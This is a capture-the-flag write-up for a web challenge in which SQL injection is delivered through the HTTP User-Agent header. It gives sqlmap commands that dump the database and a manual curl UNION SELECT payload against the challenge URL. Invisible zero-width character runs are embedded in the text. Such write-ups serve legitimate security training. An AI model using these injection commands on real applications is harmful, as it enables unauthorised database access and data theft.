level26

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: header_based_sqli, user_agent_injection

Summary

SQL injection task from the sqlmap category. The injection point is in the User-Agent HTTP header, not in URL parameters.

level26 — Web Kids 2.0

Description

SQL injection task from the sqlmap category. The injection point is in the User-Agent HTTP header, not in URL parameters.

URL: http://kslweb1.spb.ctf.su/third/level26/

Analysis

The application logs or processes the User-Agent HTTP header in a SQL query. This is a common pattern in applications that track visitor statistics or log access attempts. The User-Agent value is inserted into the database without proper sanitization.

Solution

1. Identify that the injection point is in the User-Agent header (not URL parameters)
2. Use sqlmap with the --headers option or Burp Suite to inject via User-Agent
3. Extract data using UNION-based or error-based injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Using sqlmap with User-Agent injection
sqlmap -u "http://kslweb1.spb.ctf.su/third/level26/" --headers="User-Agent: *" --dump

# Or specify the injection point explicitly
sqlmap -u "http://kslweb1.spb.ctf.su/third/level26/" -p "User-Agent" --dump

Manual exploitation with curl:

 bash read-only • copy allowed Copy
curl -H "User-Agent: ' UNION SELECT 1,2,flag FROM flags-- -" "http://kslweb1.spb.ctf.su/third/level26/"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍